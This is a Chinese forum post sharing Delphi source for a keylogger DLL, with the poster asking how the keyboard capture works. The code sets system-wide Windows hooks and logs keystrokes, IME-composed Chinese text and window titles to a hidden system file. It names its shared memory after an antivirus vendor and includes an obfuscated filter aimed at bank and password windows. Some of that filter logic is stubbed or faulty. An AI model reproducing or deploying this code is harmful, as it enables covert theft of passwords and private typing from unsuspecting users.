陈经韬的键盘记录(1分)

G

gfwlxx

Unregistered / Unconfirmed
GUEST, unregistred user!
unit Hook;<br><br>{$DEFINE BankFiltrate}<br><br>interface<br>uses<br>&nbsp; Windows, Other;<br>procedure StartHook(const SaveFileName: Pchar); stdcall;<br>procedure StopHook; stdcall;<br>implementation<br>const<br>{$IFDEF BankFiltrate}<br>&nbsp; BankInfo: string = '琼排';<br>{$ENDIF}<br>&nbsp; HookMemFileName: Pchar = '_kaspersky';<br>&nbsp; NULL = 0;<br>type<br>&nbsp; TShared = record<br>&nbsp; &nbsp; strSaveFileName: array[0..1023] of char;<br>&nbsp; &nbsp; hGetMsgHook, hCallWndHook: THandle;<br>&nbsp; end;<br>var<br>&nbsp; bFirstProcess: Bool;<br>&nbsp; hMappingFile: THandle;<br>&nbsp; PShared: ^TShared;<br>&nbsp; bFirst: Bool;<br>&nbsp; dwTick: DWORD;<br>&nbsp; bChange: Bool;<br>&nbsp; sOldCapText: array[0..255] of char;<br>{$IFDEF BankFiltrate}<br>&nbsp; strBankInfo: string;<br>&nbsp; i: integer;<br>{$ENDIF}<br><br>function GetTopParent(hWndIn: HWND): HWND;<br>var<br>&nbsp; hWndOut: HWND;<br>begin<br>&nbsp; Result := hWndIn;<br>&nbsp; if (hWndIn = NULL) then Exit;<br>&nbsp; hWndOut := hWndIn;<br>&nbsp; while (hWndOut &lt;&gt; NULL) do<br>&nbsp; begin<br>&nbsp; &nbsp; hWndIn := hWndOut;<br>&nbsp; &nbsp; hWndOut := GetParent(hWndIn);<br>&nbsp; end;<br>&nbsp; Result := hWndIn;<br>end;<br><br>procedure SaveInfo(str: string); stdcall;<br>var<br>&nbsp; h: integer;<br>begin<br>&nbsp; if length(str) = 0 then exit;<br>&nbsp; SetFileAttributes(PShared^.strSaveFileName, FILE_ATTRIBUTE_NORMAL);<br>&nbsp; if fileexists(PShared^.strSaveFileName) then<br>&nbsp; begin<br>&nbsp; &nbsp; h := fileopen(PShared^.strSaveFileName, fmOpenWrite);<br>&nbsp; &nbsp; fileseek(h, 0, 2);<br>&nbsp; end<br>&nbsp; else h := filecreate(PShared^.strSaveFileName);<br>&nbsp; if h = -1 then exit;<br>&nbsp; FileWrite(h, str[1], length(str));<br>&nbsp; FileClose(h);<br>&nbsp; SetFileAttributes(PShared^.strSaveFileName, FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM);<br>end;<br><br>procedure HookProc(hWndIn: integer; uMessage: integer; wParam: WPARAM; lParam: LPARAM); stdcall;<br>var<br>&nbsp; hMyWnd: HWND;<br>&nbsp; dwSize: DWORD;<br>&nbsp; hMyIMC: HIMC;<br>&nbsp; str: array[0..MAX_PATH] of char;<br>&nbsp; temp: array[0..255] of char;<br>begin<br>&nbsp; hMyWnd := GetTopParent(hwndIn);<br>&nbsp;///////////////////////////////////////<br>&nbsp; if (uMessage = WM_IME_COMPOSITION) then<br>&nbsp; begin<br>&nbsp; &nbsp; hMyIMC := ImmGetContext(hMyWnd); // 取得目前 thread 的 input context<br>&nbsp; &nbsp; if (lParam and GCS_RESULTSTR &lt;&gt; 0) then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; dwSize := ImmGetCompositionString(hMyIMC, GCS_RESULTSTR, @str[0], sizeof(str)); //取得汉字输入串<br>&nbsp; &nbsp; &nbsp; str[dwSize] := #0;<br>&nbsp; &nbsp; &nbsp; if ((GetTickCount() - dwTick) &gt;= 50) then //防止word中重复记录,重复记录原因不明<br>&nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; GetWindowText(hMyWnd, temp, sizeof(temp));<br>&nbsp; &nbsp; &nbsp; &nbsp; if StrComp(temp, sOldCapText) &lt;&gt; 0 then<br>&nbsp; &nbsp; &nbsp; &nbsp; begin StrCopy(sOldCapText, temp); bChange := True; end<br>&nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bChange := False;<br><br>&nbsp; &nbsp; &nbsp; &nbsp; if (bFirst or bChange) then<br>&nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (bChange) then SaveInfo(#13#10);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetWindowText(hMyWnd, sOldCapText, sizeof(sOldCapText));<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SaveInfo('(');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SaveInfo(sOldCapText);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SaveInfo(')');<br>&nbsp; &nbsp; &nbsp; &nbsp; end;<br>{$IFDEF BankFiltrate}<br>&nbsp; &nbsp; &nbsp; &nbsp; if Pos('QQ 2005', temp) &gt; 0 then ;<br>&nbsp; &nbsp; &nbsp; &nbsp; if Pos('密码:', temp) &gt; 0 then ;<br>&nbsp; &nbsp; &nbsp; &nbsp; if Pos('Pass:', temp) &gt; 0 then ;<br>&nbsp; &nbsp; &nbsp; &nbsp; if Pos(strBankInfo {'银行'}, temp) &gt; 0 then SaveInfo('*')<br>&nbsp; &nbsp; &nbsp; &nbsp; else SaveInfo(str);<br>{$ELSE}<br>&nbsp; &nbsp; &nbsp; &nbsp; SaveInfo(str);<br>{$ENDIF}<br>&nbsp; &nbsp; &nbsp; &nbsp; bFirst := False;<br>&nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; dwTick := GetTickCount();<br>&nbsp; &nbsp; end;<br>&nbsp; &nbsp; ImmReleaseContext(hMyWnd, hMyWnd);<br>&nbsp; end;<br>&nbsp;////////////////////////////////////字符输入<br>&nbsp; if (uMessage = WM_CHAR) then<br>&nbsp; begin<br>&nbsp; &nbsp; if ((GetTickCount() - dwTick) &gt;= 50) then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; GetWindowText(hMyWnd, temp, sizeof(temp));<br><br>&nbsp; &nbsp; &nbsp; if StrComp(temp, sOldCapText) &lt;&gt; 0 then<br>&nbsp; &nbsp; &nbsp; begin StrCopy(sOldCapText, temp); bChange := True; end<br>&nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; bChange := False;<br><br>&nbsp; &nbsp; &nbsp; if (bFirst or bChange) then<br>&nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; if (bChange) then SaveInfo(#13#10);<br>&nbsp; &nbsp; &nbsp; &nbsp; GetWindowText(hMyWnd, sOldCapText, sizeof(sOldCapText));<br>&nbsp; &nbsp; &nbsp; &nbsp; SaveInfo('(');<br>&nbsp; &nbsp; &nbsp; &nbsp; SaveInfo(sOldCapText);<br>&nbsp; &nbsp; &nbsp; &nbsp; SaveInfo(')');<br>&nbsp; &nbsp; &nbsp; end;<br><br><br>{$IFDEF BankFiltrate}<br>&nbsp; &nbsp; &nbsp; if Pos('QQ 2005', temp) &gt; 0 then ;<br>&nbsp; &nbsp; &nbsp; if Pos('密码:', temp) &gt; 0 then ;<br>&nbsp; &nbsp; &nbsp; if Pos('Pass:', temp) &gt; 0 then ;<br>&nbsp; &nbsp; &nbsp; if Pos(strBankInfo {'银行'}, temp) &gt; 0 then SaveInfo('*')<br>&nbsp; &nbsp; &nbsp; else SaveInfo(Char(wParam));<br>{$ELSE}<br>&nbsp; &nbsp; &nbsp; SaveInfo(Char(wParam));<br>{$ENDIF}<br><br>&nbsp; &nbsp; &nbsp; bFirst := False;<br>&nbsp; &nbsp; end;<br>&nbsp; &nbsp; dwTick := GetTickCount();<br>&nbsp; end;<br>end;<br><br>function GetMsgProc(nCode: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;<br>var<br>&nbsp; pcs: PMSG;<br>&nbsp; hd, uMsg, wP, lP: integer;<br>begin<br>&nbsp; pcs := PMSG(lParam);<br>&nbsp; if (nCode &gt;= 0) and (pcs &lt;&gt; nil) and (pcs^.hwnd &lt;&gt; 0) then<br>&nbsp; begin<br>&nbsp; &nbsp; hd := pcs^.hwnd;<br>&nbsp; &nbsp; uMsg := pcs^.message;<br>&nbsp; &nbsp; wp := pcs^.wParam;<br>&nbsp; &nbsp; lp := pcs^.lParam;<br>&nbsp; &nbsp; HookProc(hd, uMsg, wp, lp);<br>&nbsp; end;<br>&nbsp; Result := CallNextHookEx(PShared^.hGetMsgHook, nCode, wParam, lParam);<br>end;<br><br>function CallWndProc(nCode: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;<br>var<br>&nbsp; pcs: PCWPSTRUCT;<br>&nbsp; hd, uMsg, wP, lP: integer;<br>begin<br>&nbsp; pcs := PCWPSTRUCT(lParam);<br>&nbsp; if (nCode &gt;= 0) and (pcs &lt;&gt; nil) and (pcs^.hwnd &lt;&gt; 0) then<br>&nbsp; begin<br>&nbsp; &nbsp; hd := pcs^.hwnd;<br>&nbsp; &nbsp; uMsg := pcs^.message;<br>&nbsp; &nbsp; wp := pcs^.wParam;<br>&nbsp; &nbsp; lp := pcs^.lParam;<br>&nbsp; &nbsp; HookProc(hd, uMsg, wp, lp);<br>&nbsp; end;<br>&nbsp; Result := CallNextHookEx(PShared^.hCallWndHook, nCode, wParam, lParam);<br>end;<br><br>procedure StartHook(const SaveFileName: Pchar); stdcall;<br>begin<br>&nbsp; bFirstProcess := True;<br>&nbsp; bFirst := True;<br>&nbsp; bChange := True;<br>&nbsp; dwTick := GetTickCount;<br>&nbsp; StrCopy(PShared^.strSaveFileName, SaveFileName);<br>&nbsp; if PShared^.hGetMsgHook = 0 then PShared^.hGetMsgHook := SetWindowsHookEx(WH_GETMESSAGE, @GetMsgProc, hinstance, 0);<br>&nbsp; if PShared^.hCallWndHook = 0 then<br>&nbsp; begin<br>&nbsp; &nbsp; PShared^.hCallWndHook := SetWindowsHookEx(WH_CALLWNDPROC, @CallWndProc, hinstance, 0);<br>&nbsp; &nbsp; if PShared^.hCallWndHook = 0 then UnhookWindowsHookEx(PShared^.hCallWndHook);<br>&nbsp; end;<br>end;<br><br>procedure StopHook; stdcall;<br>begin<br>&nbsp; if PShared^.hGetMsgHook &lt;&gt; 0 then UnhookWindowsHookEx(PShared^.hGetMsgHook);<br>&nbsp; PShared^.hGetMsgHook := 0;<br>&nbsp; if PShared^.hCallWndHook &lt;&gt; 0 then UnhookWindowsHookEx(PShared^.hCallWndHook);<br>&nbsp; PShared^.hCallWndHook := 0;<br>end;<br><br>initialization<br>&nbsp; bFirstProcess := False;<br>&nbsp; //建立内存映象文件,用来保存全局变量<br>&nbsp; hMappingFile := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(TShared), HookMemFileName);<br>&nbsp; PShared := MapViewOfFile(hMappingFile, FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0);<br>{$IFDEF BankFiltrate}<br>&nbsp; strBankInfo := '';<br>&nbsp; for i := 1 to length(BankInfo) do strBankInfo := strBankInfo + chr(ord(BankInfo) + 11);<br>{$ENDIF}<br>finalization<br>&nbsp; try<br>&nbsp; &nbsp; if bFirstProcess then StopHook;<br>&nbsp; &nbsp; UnmapViewOfFile(PShared);<br>&nbsp; &nbsp; CloseHandle(hMappingFile);<br>&nbsp; except<br>&nbsp; end;<br>end.<br><br><br>给个大致怎么完成键盘的过程,如果能给个详细注释更好!!
 

Similar threads

顶部